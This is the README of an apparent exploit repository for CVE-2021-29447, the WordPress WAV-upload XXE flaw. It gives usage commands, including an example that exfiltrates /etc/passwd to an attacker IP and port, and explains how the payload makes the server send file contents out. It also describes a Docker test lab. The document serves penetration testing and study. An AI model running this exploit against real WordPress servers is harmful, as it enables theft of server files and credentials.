CVE-2021-29447 - WordPress XXE Vulnerability Exploit

Description

This repository contains an exploit for CVE-2021-29447, an XXE (XML External Entity) vulnerability present in WordPress 5.7.0 and earlier versions. The vulnerability exists in the media library that processes WAV files, allowing an attacker to read arbitrary files from the server.

Requirements

Bash
Python 3
Docker and Docker Compose (to set up test environment)
Vulnerable WordPress server (5.7.0 or lower)

Files

File	Description
`CVE-2021-29447.sh`	Exploitation script that generates the WAV payload and malicious DTD file
`decode.php`	PHP script to decode exfiltrated data (base64 + zlib)
`docker-compose.yml`	Docker environment with vulnerable WordPress for testing

Usage

1. Set up test environment

docker-compose up -d

2. Run exploit

chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <target_file>

Parameters:

-l Attacker IP (LHOST)
-p Attacker port (LPORT)
-f Path of the file to read on the server
-h Show help

Example:

./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd

3. Decode data

The exfiltrated data will be base64 encoded and compressed with zlib. To decode them:

php decode.php

Technique

The exploit works by inserting an XXE external entity into the metadata of a WAV file. When WordPress processes the file, the XML parser resolves the external entity, causing the server to make an HTTP request to the attacker's server with the contents of the file encoded in the URL.

References

Disclaimer

This code is for educational purposes and authorized penetration testing only. Do not use on systems without explicit authorization.

CVE-2021-29447

Most Popular